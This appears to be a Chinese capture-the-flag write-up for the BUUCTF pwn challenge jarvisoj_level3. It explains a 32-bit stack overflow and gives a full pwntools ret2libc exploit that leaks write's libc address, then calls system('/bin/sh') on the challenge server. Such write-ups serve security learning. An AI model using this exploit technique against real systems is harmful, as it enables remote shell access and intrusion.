zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——jarvisoj_level3

    jarvisoj_level3

    附件

    步骤

    1. 例行检查,32位,nx保护
      在这里插入图片描述
    2. 运行一下程序
      在这里插入图片描述
    3. 32位ida载入,shift+f12没有看到程序里有可以直接利用的后面函数,根据运行时的字符串找到了程序的关键函数
      在这里插入图片描述
      参数buf明显的溢出漏洞,使用ret2libc的办法去获取shell

    利用过程:
    0x1 利用wire函数泄露libc版本

    write_plt=elf.plt['write']
    write_got=elf.got['write']
    
    payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
    
    r.recvuntil('Input:
    ')
    r.sendline(payload)
    write_addr=u32(r.recv(4))
    

    0x2 计算libc基址,算出system和bin/sh在程序里的地址

    libc=LibcSearcher('write',write_addr)
    libc_base=write_addr-libc.dump('write')
    system=libc_base+libc.dump('system')
    sh=libc_base+libc.dump('str_bin_sh')
    

    0x3 构造rop,执行system(‘/bin/sh’)

    payload='a'*(0x88+4)+p32(system)+p32(main)+p32(sh)
    r.recvuntil('Input:
    ')
    r.sendline(payload)
    

    完整exp

    from pwn import *
    from LibcSearcher import *
    
    r=remote('node3.buuoj.cn',28888)
    elf=ELF('./level3')
    
    main=0x804844B
    write_plt=elf.plt['write']
    write_got=elf.got['write']
    
    payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
    
    r.recvuntil('Input:
    ')
    r.sendline(payload)
    write_addr=u32(r.recv(4))
    
    libc=LibcSearcher('write',write_addr)
    libc_base=write_addr-libc.dump('write')
    system=libc_base+libc.dump('system')
    sh=libc_base+libc.dump('str_bin_sh')
    
    payload='a'*(0x88+4)+p32(system)+p32(main)+p32(sh)
    r.recvuntil('Input:
    ')
    r.sendline(payload)
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    Java学习日记Ⅰ
    docker 安装redis
    maven 打包 把第三方包也打进去
    wiki 配置数据源 编码要是utf8 不能是utf8mb4
    SCFT用公钥登录
    配置tomcat重启脚本
    tomcat
    centos7 搭建rabbitmq服务 3.7.15
    安装openoffice
    tomcat 日期切分
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273694.html
Copyright © 2011-2022 走看看